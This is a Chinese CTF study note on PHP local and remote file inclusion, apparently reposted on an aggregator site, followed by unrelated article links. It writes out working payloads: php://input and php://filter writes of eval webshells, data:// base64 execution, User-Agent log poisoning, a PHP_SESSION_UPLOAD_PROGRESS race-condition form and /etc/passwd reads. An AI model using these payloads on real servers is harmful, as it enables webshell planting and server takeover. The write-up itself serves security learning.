当前位置: 首页 > news >正文

文件包含LFIRFI伪协议编码算法无文件利用黑白盒

一、
文件包含原理:程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。

比如include($_GET['file']);
用?file=1.txt
txt里写的是后门
这样包含的文件被当作当前脚本语言去代码执行

分类:
本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI【php远程包含开关开启,或者php.ini的allow_url_include=ON。这样才可以用远程包含。地址后面直接?file=地址】
差异原因:由代码过滤和环境配置文件开关决定

危害:
本地包含:没有上传,文件就是固定的,包含带有供给的代码。有文件利用的话,上传一个文件,配合上传,文件写有恶意代码。
无文件利用:
1.配合文件上传
2.包含日志文件利用
3.包含session文件利用
4.无文件支持伪协议利用

php伪协议

文件读取:
file:///etc/passwd
php://filter/read=convert.base64-encode/resource=phpinfo.php
文件写入:
php://filter/write=convert.base64-encode/resource=phpinfo.php
php://input POST:<?php fputs (fopen ('shell.php','w'),'<?php@eval($_GET[cmd]); ?>'); ?>
代码执行:
php://input POST:<?php phpinfo ();?>
data://text/plain, <?php phpinfo();?>
data://text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b
远程利用思路:
直接搭建一个可访问的远程URL包含文件

2、白盒审计:
-白盒发现:
可通过应用功能追踪代码定位审计
可通过脚本特定函数搜索定位审计
可通过伪协议玩法绕过相关修复等16
PHP: include, require, include_once, require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行require函数出现错误的时候,会直接报错并退出程序的执行
Java: java.io.File, java.io.FileReader等
ASP.NET: System.IO.FileStream, System.IO.StreamReader等
3、黑盒分析:
-黑盒发现:主要观察参数传递的数据和文件名是否对应23
URL中有path、dir、file、pag、page、archive、p、eng、语言文等相关字眼

1.无文件读取
出来是加密的,64base解密
image

2.过滤php
代码执行data协议
data+base64
image
这里的编码原代码是读取根目录下的文件。可以改成读取当前目录,或者直接找flag.php
image

3过滤php、data
可以用日志包含
image

image
然后尝试把代码写到UA里去,这样相当于代码会执行
用抓包工具
image
而后界面会显示
image
然后继续找这个fl0g.php
image
image
这里显示出3333后,右键查看源代码
image

4.过滤php、data、冒号、点
这题练条件竞争
image
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
自定义session名字,条件竞争访问session文件,触发创建新文件

点击查看代码
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS"
value="<?php fputs(fopen('shell.php,'w'),'<?php@eval ($_POST[1])?>'?" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

session包含
Ctfshow Web入门 - 文件包含总结

把session文件传过去
image
抓包,cookie改掉
image
接下来不断发包,不断产生session文件,写入后门代码。同时一直访问。
image
image
image

通过 php://filter 包装器创建一个名为 123.php 的文件,并向其中写入经过 Base64 解码后的内容。php://filter/write=convert.base64-decode/resource=123.php进行两次URL编码就行。
然后content=base64值转换的命令
image
这题有Base64的填充和对齐规则,编码要每3个字节即24位一组编码,生成四个字符,如果原始数据长度不是3的倍数,编码结果末尾就添加==,确保总长度是4的倍数。
PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==不考虑填充符的情况下有效数据长度为75个字节,不是4的倍数。前面要加两个a,让整个字符串变60字节,这样才能正常分组解码。
image
尝试访问123.php
image
这里查看源代码就能取到flag
image

或者用凯撒加密
url编码2次:
php://filter/write=string.rot13/resource=2.php
content=

6.过滤php及各种通配符
过滤php就用data协议
image
用base64绕过
image

*base64编码结果不能有统配符号,需要尝试加点东西让结果没有符号
比如后面加了“ad”
image

7.过滤了各种关键字
没过滤php,所以用php和iconv加密
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

点击查看代码
<?php
$result = iconv ("UCS-2LE", "UCS-2BE", '<?php eval ($_PoST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE",$result);
?>

playload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?
image
访问a.php
image
image

http://www.gsyq.cn/news/1567314.html

相关文章:

  • 哔咔漫画下载器终极指南:如何3倍速打造个人离线漫画库
  • Windows与Office一键激活终极指南:KMS智能激活脚本完整教程
  • 2026 安徽中考 200 分左右能上什么学校?靠谱中职全推荐 - 小张zc
  • DXVK Vulkan转换层:3种高性能Direct3D兼容性解决方案实战
  • League Akari:基于LCU API的英雄联盟终极工具箱,重新定义游戏辅助体验
  • 2026 年 6 月积家全国维修服务网络迭代优化 门店搬迁新增地址完整公示 - 积家中国服务中心
  • 2026 年 6 月万国全国售后服务网点调整核验公示 - 万国中国服务中心
  • NTAG I²C plus互联NFC标签:物联网设备零功耗交互与安全配网方案
  • 2026 年 6 月重磅更新!积家中国区官方维修中心全新地址与服务热线发布 - 积家中国服务中心
  • AI提示词驱动JMeter脚本自动生成:原理、实践与自动化流水线
  • 2026 年 6 月卡地亚全国售后网点深度实地调研报告书 含迁店新开全部信息 - 卡地亚中国服务中心
  • 家里管道堵了别乱找!2026 临沂正规疏通维修团队甄选指南 - 宅安选房屋修缮
  • 2026 年 6 月通告:万国国内官方售后网点布局调整升级,全新客服热线正式上线 - 万国中国服务中心
  • 基于LLM与技能库的RTL时序优化自动化框架实践
  • i.MX RT1160电源管理实战:从电气特性到低功耗设计避坑指南
  • 破解AI写作中的‘这个这个’模糊指令:实战工作流与抗模糊策略
  • 2026 年 6 月万国官方维修中心实地核查实录:全国 60 余家门店地址全面更新 - 万国中国服务中心
  • Win11本地跑Hermes Agent:微信直连轻量级AI智能体网关
  • 商洛贵金属回收指南:六大靠谱门店,覆盖全区县安心变现 - 清奢黄金上门回收
  • 权威发布|2026年江诗丹顿全国官方售后维修网点新址更新升级,服务热线同步更新启用 - 江诗丹顿中国服务中心
  • 2026西安哪家婚纱摄影店拍婚纱照最好? - 江湖评测
  • HAProxy日志配置指南:Rocky Linux 8下rsyslog集成与排错
  • Express中req.params、req.query与req.body参数解析原理
  • 宝玑官方售后服务体系优化升级,整合全网线下门店最新详细地址与联系电话完整版指南 - 亨得利腕表服务中心
  • 2026吉林市贵金属回收去哪选船营毓典寄卖行十年实体门店透明 - 资讯速览
  • SH9对话量子场论的可计算化公理体系与共识动力学建模(世毫九实验室原创研究)
  • 丽水黄金贵金属回收宝藏店铺推荐 | 九县市全域覆盖 变现无忧 - 新芸鼎珠宝首饰
  • CNKI-download:知网文献批量下载爬虫的完整实战指南
  • 用友U9C系统函数使用手册 - 老码识途
  • CNKI-download知网文献批量下载:Python爬虫终极指南与实战教程